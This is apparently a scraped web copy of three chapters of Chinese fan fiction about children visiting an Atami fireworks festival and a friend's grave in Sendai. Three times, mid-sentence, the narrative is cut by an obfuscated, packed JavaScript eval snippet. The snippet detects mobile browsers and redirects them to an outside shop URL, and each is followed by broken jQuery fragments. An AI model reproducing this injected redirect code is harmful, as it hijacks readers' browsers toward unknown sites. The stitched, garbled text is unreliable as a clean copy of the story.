走廊上突然响起了一阵脚步声,随后就是门外的人急促地敲了两下门,不等他们有所反应就着急地推开门。枷场菜菜子兴奋地举着手机对他们说:“我们周末去温泉旅行吧!”
虎杖悠仁从床上坐起身,半信半疑地问:“你又抽中什么优惠券了吗?”
枷场菜菜子大声反驳,她自己用卷发棒卷成螺旋状的发尾像弹簧一样甩动着:“才不是!夏油大人说要去静冈,大概能够空出一两天,顺便带着我们一起去。”
“我们去热海泡温泉,然后看烟火大会怎么样?坐新干线的话大概只要五十分钟左右
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378189|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我们可以去商店街吃热海布丁和鱼糕,泡完温泉就可以去看烟火大会了,它在海上哦!”
枷场菜菜子似乎已经开始畅想这两天的美好旅行生活了。
“海上烟火大会,”乙骨忧太在手机上搜索了一下,提醒她,“人会很多哦。”
枷场美美子说:“我们可以去附近的高处,找个没人的地方。”
乙骨忧太没有异议,他知道虎杖悠仁只会闪着星星眼期待这场旅行,所以也没有询问他的意见。
两天一夜的热海之旅就这样被确定了下来。夏油杰去静冈是为了会见教会的投资人,也就是他口中能够提供金钱的猴子,晚上会和他们在约好的地点汇合。
“那我们一早就出发,白天可以尽情玩了!”虎杖悠仁的提议得到了孩子们的一致认同。
不过在出发之前,他们还要经历一项考验。
为了不在期末考试中挂科补考浪费时间,最近这一段时间枷场姐妹都会来找乙骨忧太补习功课。和她们一起的是虎杖悠仁,不过女孩子们总是嫌弃他没学一会儿就开始唉声叹气的毛病,想要将他赶回床上去看漫画书。
“我只是在为我的数学成绩祈祷而已!”
“你在炫耀吗悠仁?!小测成绩快满分的人居然说自己不擅长数学?!”
虎杖悠仁手指一伸,指向充当临时教师的乙骨忧太:“因为忧太是真的满分啊!”
“可恶啊!”枷场菜菜子恶狠狠地在草稿本上写着计算式,连美美子都苦恼地补习着功课。她们缺少幼稚园打下的基础,有的时候遇到没有标注平假名的汉字也会非常苦恼。
“加油啊!”全科成绩都很优秀的好学生乙骨忧太敦促他们:“挂科补考的话,时间就会和烟火大会冲突了。”
热海的海上烟火大会会在夏季开上很多场,倒是不害怕错过一次就只能等待明年再看,只是能够碰上夏油杰有时间、有意愿和他们一起出去玩的机会寥寥无几,所以他们只能紧紧抓住这一次机会。
“那就干脆翘掉补考去热海玩吧。”枷场菜菜子学到表情狰狞,嘴巴上还是说着任性的话。
乙骨忧太无奈道:“你们也不要太紧张啦,二年级的题目不会特别难的。”
没有老师会为难一个小学生,只要他们的成绩不是太过分就好。只有从小就打算逐步升学到更好的学校,未来还准备继续考大学的孩子才会在学习上付出远超同龄人的努力,有的人在放学之后还会去上私塾。
“念完高中就算了。”
这是枷场姐妹和大部分学校学生的想法。
“嘁,结果学校里还是会有这么多的诅咒,真是没救了。”
枷场美美子附和着菜菜子的话:“初中和高中的学校更不堪入目。”
夏油杰说这是人尽皆知的丑恶,枷场姐妹认同了他的说法。太碍眼了。
乙骨忧太和虎杖悠仁对视,没有接着她们的话说下去。
好消息是,他们临时抱佛脚一样的补习起了作用,没有人需要在放假之后继续留在学校进行补考,班主任再三叮嘱了假期一定要按时完成作业、注意人身安全之后,挥手将教室里这群早就坐不住了的雏鸟放出了笼子,各回各家。
枷场姐妹在中午放学之后就奔向了商店街挑选喜欢的泳衣,男孩子们则决定等到温泉酒店再说。
“那个,虎杖同学?”
被叫住的粉发孩子回头,果然看见了高木。她的麻花辫发尾绑着的红色蝴蝶结换了一个花纹,据虎杖悠仁的观察她几乎每过几周就会换一个。
“今年的夏日祭你们会来吗?”
学校所在的社区会组织夏日祭典活动,是附近规模最大的夏日祭。
“嗯......有可能?”夏日祭的时间在一个月后,虎杖悠仁也不确定他们会不会去。高木没有再问其他的,很快离开了教室。
在她的身影消失之后,虎杖悠仁用手肘戳了戳乙骨忧太的腰:“我觉得她很希望你能去。”
乙骨忧太收拾好书包,将椅子推入课桌下,平淡地解释说:“她只是为了完成老师交给她的任务,或者说是她的职务和她的责任感驱使她过来邀请我们。”
“我有看到她还试着邀请菜菜子和美美子她们。”
尽管每次都没有收获,但女孩暂且还没有放弃的意思,反倒是枷场姐妹开始绕着她走了。
大家似乎都觉得这样做的高木有点傻,他们四个想要主动远离周围的人,那就任由他们去呗,费心费力做一些毫无意义又可能会被嘲笑的事情,怎么会有人这么傻呢?
虎杖悠仁觉得,不管高木出于什么原因才坚持想要将他们拉出自我封闭的世界,至少她一直在做这件事,不管有没有用,不管会不会受到嘲笑。
“每次见到这样的人,我都觉得他们真的好厉害啊。”他双手抱头,姿势悠闲地和乙骨忧太一起走在放学的路上,望着万里无云的深远蓝天,放空大脑随口说道。
在这个利己主义占据主流的世界,这样的坚持就显得更加宝贵了吧。
但是所有的坚持最终都能得到最初期盼的结局吗?
51. 第 51 章
“是温泉喔。”
“是温泉耶——!”虎杖悠仁有点跃跃欲试。这家温泉旅馆的每个房间里都有独立的温泉池,但想要泡天然温泉的话就只能到楼下的大汤池享受硫磺泉了。
显然夏油杰和枷场姐妹是绝对不会去和非术师们凑在同一个池子里的,所以房间里的半露天温泉池就成了他们唯一的选择。
房间内是传统的和室构造,面积很大,足够他们五个人睡下。四个孩子中午就到了,他们下午在附近的商店街填饱了肚子。
“这才是祭典的感觉!”虎杖悠仁吃着鲷鱼烧和苹果糖对乙骨忧太说道。
熟悉的红色和黄色的灯笼挂在半空,等到了晚上这些光亮就会将整条街道照得亮如白昼。商店街所有的店铺都在自家门前摆起摊位,琳琅满目的祭典小吃和各色木刻面具被摆上桌面,当然也有捞金鱼。
他们在水池边捞到了太阳落山才依依不舍地离开,虎杖悠仁从被捞起来的小鱼中选了一条花纹最漂亮的带走了。
胖嘟嘟的鱼被装在了水袋里。这样的鱼被带回家后通常活不了太久,它们的使命似乎就只是活到被客人捞起带走而已,一旦它们的生命轨迹即将延伸到职责之外的地方去,就会很轻易地结束。
那只金鱼被装在了一个原本盛放小吃的塑料碗里,看上去有点鱼缸的样子,放在了温泉酒店房间的橱柜上。
穿过一个小小的换衣间,人工温泉的热气已经扑面而来。半露天的温泉地面是用瓷砖铺成,地上还算干爽,暂时不用担心会因为溅出的水渍滑倒或摔跤。
虎杖悠仁三步并作两步,一边大喊着“我来了!”一边小跳了起来,在枷场姐妹的斥责声中一头跳进了汤池里,将池边的其他三个人浇了满头的水。
“笨蛋!悠仁是大笨蛋!”枷场美美子强烈地批评着他的这种行为,并庆幸她们还没有将零食和饮料直接端过来。
这家温泉旅馆的确配得上它高昂的价格。哪怕是房间内的人工温泉,池边也被装饰成了石头垒成的模样,池子很大,虎杖悠仁感觉自己可以直接在里面游泳。
枷场菜菜子气鼓鼓地将正常入水的乙骨忧太和虎杖悠仁赶到了远处的角落里,她和美美子端来了牛奶布丁和饮料放在小木盆里,挑了一个光线很好的角度拿着套上防水袋的手机开始拍照。
“......好热。”虎杖悠仁的头上还戴着在祭典上买的奇形怪状的眼镜,镜框被设计成了“COOL”字模样的装饰,镜片是普通的墨镜。被热水浸泡的身体仿佛正在向外散发着累积的疲惫,不只是肌肉放松了,极高的水温也让体内的血液变得活泼起来,所以很快虎杖悠仁的脸颊就开始泛起红色。
“悠仁,不要把水搅起来!饮料都洒出来了!”枷场菜菜子的声音从池子另一边传过来,虎杖悠仁懒懒散散地回应了几声,老老实实靠在了石头边上,任凭温泉的热量侵袭着自己的身体。
因为很久没有听见乙骨忧太发出声响,他睁开一只眼睛,发现黑发的孩子已经摆出了安然入睡的模样斜着闭眼躺了下来,就剩下一张脸飘在水面上。
虎杖悠仁已经能够想象到他的双手此刻一定在水面下相互交握放在胸口,悠闲放松到了气氛有点诡异的程度。
粉发孩子尝试着将手放到水下,推动乙骨忧太的身体。
“哇——你真的是在漂着诶?!怎么做到的?!”
乙骨忧太没有睁眼,保持着原来的表情动了动嘴巴:“悠仁把身体放松就好了,这样很舒服的哦。”
虎杖悠仁学着他的动作试着做了。
温泉的水面正好能够卡在耳朵下方,皮肤能够感受到温热的泉水与外部空气分割的地方泛起的痒。虎杖悠仁就这样躺在了水里,放松身体后他的腿不会浮起来,而是若即若离地蹭过池底,但是能够感受到水的浮力支撑着他的身体,就好像一块斜着漂在水中的木板。
刚开始还会因为害怕耳朵和鼻子进水而不敢闭上眼睛,可是一旦适应了这种感觉,他很快就放松了下来。
“悠仁的术式用起来也是这种感觉吗?”
水汽不应该可以将声音扭曲成这样朦胧的感觉,但乙骨忧太的话听起来就是有些怪怪的。虎杖悠仁的鼻腔已经被温泉的硫磺味充满,他思考着,然后回答道:“会有类似的感觉,尤其是自己飞起来的时候。我不是带着你飞过吗?”
乙骨忧太的声音如同雾气一样:“当时只顾着看周围的景色了,完全没有留意......”
“嗯,有机会的话,我会再带着忧太飞一遍的。”
枷场菜菜子一抬头就看到了漂在水面上的两张脸。
“......在干什么啊,装水鬼吗?”
这次轮到虎杖悠仁向她们讲述这样泡温泉有多舒服,所以等到夏油杰终于找到房间并顺着声音的来源走到汤池边的时候,见到了四张并排漂着的脸。
听到手机相机拍照的声音响起,汤池里的四个孩子才从昏昏欲睡的状态里猛然惊醒。
“夏油大人!”
“夏油先生偷拍太狡猾了,我想看照片!”
夏油杰笑眯眯地将手机收进口袋中,说道:“你们泡太久了,收拾一下,我们准备去看烟火大会吧。”
虎杖悠仁在水里扑腾了一下,开始向池边走去。他爬上去之后,看见了将头发全部向后捋去的乙骨忧太。
他的头发有一段时间没剪了,如今沾了水彻底湿透,服帖地被主人顺到了脑后。
枷场姐妹的房间里有全套修剪护理头发的工具,所以虎杖悠仁说:“忧太,等回家之后我帮你剪头发吧。”
“诶?好的哦。”乙骨忧太捻起一撮头发,将它们扯直感受了一下长度。他的头发长长一些之后就不怎么往旁边翘了。
虎杖悠仁心情很好,将头发吹到半干,他已经迫不及待地收拾好背包站在门口催促其他人了。
热海的烟火会在水面上升起,因此沙滩是普通人最常选择的欣赏烟火升空的地方,人多的时候甚至需要提前几个小时带着东西去抢占最佳的观赏位置。他们自然不会去非术师如此拥挤的地方,正好热海湾三面环山,去附近的山顶上观赏烟花也是不错的选择,人也很少。
出海也是一种选择,但这需要提前预订。尽管夏油杰能够利用咒灵,但毕竟是在开阔的海面,被非术师们看见的可能性很大,他们还不想碰到需要多费力气去解决的麻烦。
逆着人流穿越商店街,拥挤的人群让夏油杰露出了明显的不喜,虎杖悠仁迅速穿梭在各个商铺之间买来了足够多的零食。比如祭典中最经典的炒面、装在杯子里的煮物、以及各色糖果。苹果糖和巧克力香蕉他们早些时候吃过了,这次就没有腾出手来再买。
“这个是什么?”乙骨忧太看到他的手中托着一个塑料盒,里面躺着几个看上去像是棒棒糖一样的糖果,不过中心是橘子瓣或者苹果片之类的水果切片。
“是一个老爷爷做的,用的是水饴糖?总之看上去很好吃。”虎杖悠仁让他挑了一根,剩下的传给了枷场姐妹。
拿起来才发现包裹着水果切片的部分并不是硬邦邦的,随着抬起的力道软软的向下垂着,当乙骨忧太还在惊叹于这个糖果的柔软时,虎杖悠仁已经直接下嘴咬掉了一块。
“嗯嗯嗯!”他哼哼唧唧地示意乙骨忧太看向自己,被咬掉的糖块和剩余的部分之间拉出了纤长发白的糖丝,让人联想到热乎乎的拉丝芝士。
糖果软化的速度很快,虎杖悠仁顾不得说话,扬起头来防止糖丝掉得满身都是,也完全不看路,全靠乙骨忧太拉着他避开前面的人流。
“好甜。”虎杖悠仁用舌头舔着黏在牙面上的糖丝,被拉扯过后它们会变硬一些,卡在了齿面和齿缝间。他新长出来的牙比旁边矮上一截,那空出来的缺口就被糖块堵了个严严实实。
乙骨忧太咬了一小口。
他手里这个裹着苹果片,虎杖悠仁的那个是橘子瓣,用的都是很新鲜的水果,咬下去的时候还能感受到水果被切断的脆响。苹果味随着糖块的脱落而填满了他的口腔。
和苹果糖是不一样的感觉,乙骨忧太眼睛里亮了一下,挑眉惊喜地和虎杖悠仁对视:“好吃!”
“是吧!嘿嘿!”虎杖悠仁的手里塞满了各种小吃,祭典上的盒子大多都很小,里面被食物塞得满满当当,方便游客拿取。他还看上了一个卖刨冰的摊位,可惜排队的人太多,他们又赶着上山去看烟花,所以遗憾地错过了。
离开人满为患的商店街,步入相对静谧一些的林间小路之后,自然万物的声音代替了人声,随着脚步的深入而逐渐重新变得嘈杂起来。
夏油杰的肩膀上站着一个青蛙模样的咒灵,偶尔它会伸出极长、能够拐弯的舌头卷走在孩子们身边飞来飞去的蚊子。他们已经对此见怪不怪,偶尔夏天被蚊子吵得难以入眠的夜晚他们还会争夺这只小青蛙的所有权,胜利的一方能够度过一个相对安稳的晚上。
虎杖悠仁开始哼歌,乙骨忧太听了两句,听出那是最近很火的动漫里的曲子。
这代表粉发的孩子心情很好。
枷场姐妹要走了属于她们的那份炸土豆,虎杖悠仁打开了自己的那一份,将竹签分给乙骨忧太边走边吃。
青蛙咒灵时不时伸出舌头卷走周围靠近的蚊虫,偶尔发出一两声“呱呱”的叫声。
此时天色已经完全黑了下来,林间两排树冠之间的天空由深紫逐渐过渡到了漆黑,看不见星星也找不到月亮,但前路很清晰。
他们又走了一会儿,来到了一处位于半山腰的观景台一样的地方。这处平台只有他们几个人,看起来倒是有接着电线的照灯,不过直到现在也没有被打开的迹象,不知道是损坏了还是没到开灯的时间。
黑暗的环境更
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378190|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适合他们欣赏夜空中的烟火。从这个地方向下望去,海滩上密密麻麻地站满了人,虎杖悠仁靠在用手腕粗的圆木杆修建而成的栏杆上,和乙骨忧太分吃着炸土豆。
椒盐的味道盖过了糖果的甜腻,满嘴咸香。
“悠仁忧太快过来!”枷场姐妹招呼他们过去,夏油杰满足了他们想要合照的请求,主动替他们举着手机,将五张脸框进了手机屏幕里。
晚上的光线不太好,但孩子们的脸上都洋溢着期待的笑容,枷场菜菜子很满意这张照片。
将吃光的炸土豆盒子塞进垃圾袋里,虎杖悠仁也掏出自己的手机开始摸索录像功能。
看到乙骨忧太疑惑的表情,他说:“难得大家一起来看烟火大会,比起照片,果然还是录像更好一点!啊、音乐响起来了!快要开始啦!”
虎杖悠仁摁下了录制键。
第一道焰火升起来得很突然,虎杖悠仁的屏幕晃动了一下,画面模糊成一团残影,随后定格在了天上绽开的彩色花朵上。
黑夜将光焰衬得熠熠生辉。由这升起的第一道焰火开始,准备就绪的数千道烟花拉开了盛会的序幕。
烟火拖着彗星一样的尾焰摇曳着冲向夜空,爆裂的瞬间留下闷雷一样遥远又沉重的响声,四散的烟花几乎占满了虎杖悠仁所有的视野。那些烟火炸开后落下的余烬向下落去,好似一朵盛开在天空中的花用垂落的花瓣抚摸着波光粼粼的水面。
这些绚烂多彩的烟花比他想象中的要大上太多,与它们相比,天空都仿佛变得狭窄了。山下传来欢呼和尖叫,身旁人太过安静反倒让人万分在意。
虎杖悠仁觉得好似有一道不那么听话的烟花蹿进了他的心里,在那个同样狭小的地方完全地炸开了,留在壁上的不是被灼伤的疼痛,而是散发着微弱热量的光亮和炽热的喜悦。
大会的烟火接连不断地升空,响个不停。
虎杖悠仁向身侧望去,乙骨忧太瞪大眼睛,一眨也不眨地与他注视着同一片夜空中绽放的烟花。向海面坠落的光焰像是下了一场流星雨,正如虎杖悠仁看到的那样,漆黑的夜空将它们映衬得光彩耀目。
在那双夜一样深沉的眼眸中,他看到了同样的景色。
下意识地挪动手机,虎杖悠仁将取景框对准了一心一意为那些美丽而又转瞬即逝的东西赞叹的乙骨忧太。
不知道为什么,他觉得自己有点挪不开眼睛。
乙骨忧太的双眼像是镜子一样反射着他看到的东西,可和没有思想、无法言语的镜面不同,映射着现实的这场“流星雨”之外,里面还流淌着一些更深沉、没办法抹去的忧郁。
但是当它们转过来的时候,那些忧郁消失得无影无踪。
就好似惧怕太阳的秽物直面了日光,无声嘶叫着遁入阴影。
“好漂亮啊——”
他们不得不大声喊着来交流,烟花的声音在三面环山的热海湾里回荡,盖过了所有的声音。
虎杖悠仁笑着回答:“是喔——像流星雨一样!!”
手机屏幕早就歪斜得不知道在拍什么,一只手闯入了画面,似乎将镜头托了起来。紧随其后的是一阵激烈的晃动,接着画面的方向一转,拍摄的对象从乙骨忧太变成了虎杖悠仁。
粉发的孩子不知道是兴奋得双颊飞上浅红,又或者是今晚热闹的氛围让他的体温升得太快了。
虎杖悠仁的身后正好是烟花升起的方向,逆着光的笑容昏暗而珍贵。彩色的焰火划破天空,直直地向着水面落下,像是从天而降的瀑布,冲走了一切留在黑夜中的烟尘。
它们坠落时经过的轨迹似乎还留在他们的眼睛里,烟花升空的声音变得拖沓,这场烟火盛会即将步入尾声。
乙骨忧太拿走了虎杖悠仁正在录制中的手机拍了一会儿,手机又回到了虎杖悠仁的手中。画面混乱地转着,最后终于定格在了只剩下几朵稀稀拉拉的小烟花的夜空中。
“......结束了啊。”乙骨忧太兴致未尽,持续不断连续升空二十分钟的几千道烟花刺激着他们的感官,现在终于能够听到自己胸口雀跃的心跳声。盛会的落幕总是让人回味无穷。
“好厉害,烟火大会真的太好了!”虎杖悠仁有些不舍地停止了录制,关于这晚的璀璨记忆变成了一段穿行在电子世界的数据,随着屏幕的熄灭永远留在了这部手机里。
夏油杰将手臂搭在圆木栏杆上撑着下巴,整场烟火大会都显得有些兴味索然,但是为了不让孩子们不自在,他没有让他们看出来。
脑海中还残留着更盛大的烟火划过夜空时留下的轨迹,他忽然在心中自嘲地笑了起来,将那些已被他亲手弃置的记忆拂去。可是看到这些孩子们迎着他而来的笑脸,黑发的术师才骤然意识到那些记忆有多么顽固。
虎杖悠仁笑得炽热又明亮,跳起来高喊道:“烟火大会真是太好啦——!”
52. 第 52 章
从热海的祭典上带回来的金鱼在当夜就翻了肚皮。
虎杖悠仁和乙骨忧太正式拒绝了高木邀请他们去夏日祭的请求。她家里人会在祭典上摆小吃摊,同学们去的话可以得到很多免费好吃的,所以大家基本都会去夏日祭找他们家的摊位。
“虽然很遗憾,但是我们已经决定要......出去玩几天。”虎杖悠仁婉言道,他和乙骨忧太明天就会出发,来回不知道要多久,而且等他们回来也不知道还有没有心情去参加热闹的夏日祭典。
“你们自己去,没问题吧?”夏油杰身着袈裟,一般他穿上这套衣服的时候就代表有重要的教会事务需要他这个教主出面,而且会是比较正式的场合,没办法轻易离开。
虎杖悠仁抬起胳膊握拳:“当然没问题!”
于是夏油杰转头眯着眼睛叮嘱乙骨忧太一定要看好他,现金不够就打电话回来。祢木利久最近也在仙台,有自己解决不掉的事情就去找他。用白布包裹住右眼和伤疤、只露出一只左眼的青年的形象浮现在了乙骨忧太的脑中,想起对方是谁了之后,他点了点头。
虎杖悠仁对于他们仍将自己当作小孩子看待这件事很气愤,但也无可奈何。
“记得带一些仙台特产回来,拜托你们啦!”枷场姐妹向他们挥手告别。
离开教会,走入种满樱花树的大道之后,乙骨忧太就拉住了虎杖悠仁,似乎是在完美地执行夏油杰交给他的任务。
他们要步行去坐新干线。他们这个年纪的孩子偶尔会被很有责任心的站台工作人员拦下,不允许他们独自乘坐电车,但是乙骨忧太和虎杖悠仁的动作足够快,行动也足够隐蔽。在进站的时候跟紧站在前面的大人,装作与他同行,进站后尽可能避开工作人员的视线,这套流程对他们来说已经烂熟于心了。
在等车的过程中,两个孩子都有些沉默得过分。
虎杖悠仁翻看着手机,一遍又一遍地点开搜索栏,却怎么也无法将自己心中的问题打入那行空白之中。
“别看手机了,”乙骨忧太从他手中拿走手机,拍了拍自己的肩膀,“睡一觉就到了。”
虎杖悠仁学着他的样子拍拍自己的,说道:“忧太来睡吧。”
最后两个孩子相互依偎着浅浅地睡在了一起。乙骨忧太只是闭着眼睛休息,耳朵听着途径站的广播。他脑袋里什么都没有想,没有他们即将奔赴的目的地——那片承载了他们不可言说的过去的土地,也没有一直无言跟随在身后的家人。
只有影子从不离开,他们之间的缘分似乎也这样如影随形。
靠在肩头的脑袋呼吸变得平缓,虎杖悠仁进入了浅眠。只是听他的鼻息,似乎睡得也不太安稳。
那里同样也是虎杖悠仁的童年。
梦中的鬼剑舞雕塑从石台上走了下来,挥舞着铜剑和手无寸铁的自己交战。他似乎又回到了小岩井农场,草场上悠闲吃草的马儿咴咴地叫着,嘴巴里还叼着未嚼碎的草叶。
乙骨忧太睁开了眼睛。他维持着原本的姿势没有动,只是略微转了转脑袋,小心翼翼。
从他的角度看过去,虎杖悠仁的眉毛几乎微不可查地向上皱了一些。如果不是对他熟悉得不能再熟悉的人,恐怕根本不会留意到吧?
说起来,乙骨忧太见过粉发孩子哭泣的时候少之又少,他的眉毛总是精神地向上飞着,只会在偶尔神情严肃或者不赞同他时才会明显地压下来。
除去他们吵嘴的时候。
他们很少争吵。
作为家人来说。
乙骨忧太没有选择触碰虎杖悠仁,因为他知道这孩子此时只是浅眠,平日里针对咒术和身体素质的训练让他比以前更容易惊醒,也就是睡得没有那么沉了,再轻微的触碰也会叫醒他。
再加上自己的手一定很冷,不像靠在肩头的热源一样永远散发着炙热的温度。夏天还好说,乙骨忧太的体温让他成为了天然的制冷剂,虎杖悠仁很喜欢贴着他乘凉。冬天的情况会糟糕一些,偶尔在接触时会把虎杖悠仁冻得一个激灵。
低体温的确时常会让乙骨忧太觉得肢体末端有些发麻,但目前还没有什么很好的改善方案......虎杖悠仁似乎有跟着教会的厨师学习营养搭配和烹饪,就是不知道成果如何。粉发孩子还没有足够的信心展露他的厨艺,所以乙骨忧太也就装作不知道的样子等待着。
他的目光落到了那孩子的嘴巴上,巧合地看到了嘴角微微翘起的弧度。
看样子也不全是令人伤感的梦。
不知何时,他似乎也真的睡过去了,但好在他们并没有错过下车的时机。
乙骨忧太领着仍在揉眼睛的虎杖悠仁出了站,他没怎么来过这个站台,各处设施只是看着很眼熟,可能是在很小的时候被父母带着来过吧。
迷迷瞪瞪的虎杖悠仁闻到了汉堡的味道,尽管还没到正统的午饭时间,但乙骨忧太很难承受粉发孩子祈求地看着他的星星眼,所以他们去车站里的汉堡店买了儿童套餐,坐在正对着车站的玻璃餐台上享用起这顿过早的午餐。
“我们先去哪里?”虎杖悠仁舔掉蹭到嘴角的沙拉酱,边吃边问。
他们来到仙台有两个主要的目的,首先是要去看望祈本里香,她的墓地位置乙骨忧太记得很清楚。然后就是去那座山、那口井看看。其他的算是顺路,他们可以去看看虎杖悠仁和爷爷曾经住过的家,还有他们常去的小公园。冬天的时候他们去看过了虎杖倭助,所以这次并不打算太过频繁地打扰他。
“......”儿童套餐里的汉堡比正常形制小了一圈,里面夹的是外皮面面的鸡排,生菜混着带玉米粒的沙拉酱,还能吃到胡萝卜丁。虎杖悠仁很快就将它吃干净,擦手的时候低着头问:“忧太不回家看看吗?”
乙骨忧太和妹妹还保持着联系。父母肯定通过妹妹知道了他还活着,但是他们一直没有主动联系过他......爷爷似乎也和父母失去了联系,至少他问妹妹有没有见过那个古怪的老人,女孩却说她从未在家里见过他。
这样其实已经是乙骨忧太心中很理想的状态了,每年妹妹的生日他会寄去信件和礼物,女孩曾经也会趁着母亲不在家时偷偷给他打电话,但后来父亲回家修养之后,女孩就只能在幼稚园回家的路上借用便利店的电话,但乙骨忧太有时会因为上课或者训练错过,只好期待下一次能够接到妹妹的电话。
乙骨忧太摇了摇头。
虎杖悠仁不再坚持。
祈本里香的墓躺在一个小小的墓园里,围墙完全被藤蔓占据。管理这片墓园的是一个上了年纪的老人,乙骨忧太曾经站在围墙外看着他用土填满了装着女孩棺材的小土坑。
墓园外开着几家花店,虎杖悠仁从一个老奶奶的手中买到了祭奠用的白色百合花,有一家人与他们几乎同时走入墓园,看望已逝的亲人。
与埋葬着爷爷的墓地不同,这片墓园内绿意盎然。也许是年迈的管理者疏于打理,许多墓碑上都爬满了青苔,年年岁岁落在同一片区域的枯叶遮盖了躺在这里的人的姓名,刻划出来的字迹已模糊得难以辨认。
常青的榉树与松树排列在大道两侧,更深处能够看到成片向上生长的杉树林。祈本里香的墓在某个区域的角落,周围栽种着大片紫阳花。
现在已经过了梅雨季,但这些蓝紫相间的团簇小花依旧盛开着,圆润的花瓣带来了无限的沉静与包容。
虎杖悠仁和乙骨忧太拎着管理墓园的老人借给他们清理墓碑的工具,小桶里盛满了水,木勺柄在桶边摇晃着。祈本里香的墓碑旁都是在雨季时被打落到泥中的枯花,虎杖悠仁用布擦拭了她的照片,女孩微笑的模样栩栩如生,下巴上的小痣露了出来。
照片上的她看上去比虎杖悠仁记忆中的模样要小一些。
清洁的过程很安静,与他们一同进来的那家人去了另外的区域,不远,偶尔还能听到轻微的啜泣声。
比起旁边的墓碑,属于祈本里香的这一块要小得多,上面附着的青苔并不顽固,只需轻轻擦拭就会随着水流的冲洗流入泥土中,
小桶里的水刚刚好,足够他们将祈本里香睡着的地方清理干净。虎杖悠仁将带来的白色百合放入了花筒中。他不知道女孩喜不喜欢这种花,但是它的颜色足够干净。
他们低头合掌,在心中默默为她祈祷。
里香,虎杖悠仁心道,如果你有什么未完成的心愿,就在梦中告诉我们。等我们完成了你还牵挂的事,就请你去往极乐之地成佛吧。
他睁开眼时,乙骨忧太神情忧郁,沉默地望向墓碑上的祈本里香。挂在脖子上的戒指似乎在发烫,周围的皮肤能够感受到那股热量。似乎是错觉,又似乎并不是。他从领口取出那枚戒指,久久地注视着它。
耳边响起了女孩的轻笑。
虎杖悠仁看着乙骨忧太的注意力一直停留在那枚戒指上,似乎正在做着什么重大的决定,他看着他的眼神从迷茫到怀疑,最终犹疑着、逐渐变得坚定。
乙骨忧太将银色的圈戒收入掌心。
“说不定......”
他其实很早就有这样的猜测,最初的怀疑大概要追溯到雪地森林中虎杖悠仁被暴走的里香误伤。那时他也像今天这样听到了女孩的声音,她出现的理由、她说的话......
“是我诅咒了里香。”
面对濒死的同伴,乙骨忧太唯一的、仅剩的愿望就是让他们不要死。为此,宛如诅咒一般的言语迸发出了它本不应该拥有的力量,以他悲切的愿望为根,扭曲的枝叶由此诞生、成长,构筑出了如今磅礴却不正常的庞然大物。
里香,是你阻止了我继续诅咒悠仁吗?
“......因为我恐惧失去她的结局,所以拒绝了她的离开。”乙骨忧太死死攥紧手掌,感受着戒指勒入肉|体的痛感,负面感情在心中摇摆着,伺机而动。
虎杖悠仁看着乙骨忧太身后膨胀的深色阴影,懵懂地明白了乙骨忧太的话。
明明早已过了梅雨季,可他依旧觉得空气变得阴郁潮湿,像是一直在下着永不停止的小雨,不至于将人淋透,却总会让他的胸口闷闷的,喘不过气来。
“......
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378191|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是我。是我啊。”
小声呢喃变成了痛苦的啜泣,乙骨忧太蹲在祈本里香的墓前,抱住了自己。被真相刺穿的胸口撕扯着、疼痛着,悔恨的感情从破口汹涌而出,乙骨忧太能够找到的罪魁祸首只有他自己。因此他责备着、悔恨着,无所适从、不知该如何与自己和解。
仅仅是因为自己自私的愿望,便将里香的灵魂以如此丑陋的姿态强行留在了这个世界,用语言诅咒了她,用自己的力量囚禁了她。
阴影的位置缓缓移动着,虎杖悠仁将手搭在乙骨忧太的后背,想要用这种方法支撑起摇摇欲坠的人。他能感觉到手下身体在颤抖着,陌生的冷意从手掌上传递了过来,让他不由自主地向前半跪在地上,将乙骨忧太的身体揽了过来,靠在自己的身上。
原来是这样。
不是里香诅咒了忧太,而是里香因为忧太的愿望留了下来。
“全部......都是因为我......”
错误从那一刻开始就奠定了,之后所行之路不过徒增他们的痛苦。乙骨忧太被巨大的自责包围,倒在血泊中的祈本里香,躺在枯木上、鲜血从嘴角倒着流过脸颊的虎杖悠仁,父亲、妹妹,甚至为了自保而伤害过的村民......这一切的一切,都是他自——
“——忧太!”搂着他脖子的双手忽然收紧,乙骨忧太被虎杖悠仁托着下巴抬起脸。泪痕尚未干涸,不过墓园里总是充满哭声。被咸湿的泪水蜇伤的眼眶泛着红,乙骨忧太的脸被虎杖悠仁强行抬起来,让他看到了坐在自己墓碑上的女孩。
虎杖悠仁在乙骨忧太的耳边说道:“是里香啊!”
肉|体与灵魂的再遇让祈本里香从混沌的美梦中清醒了过来。
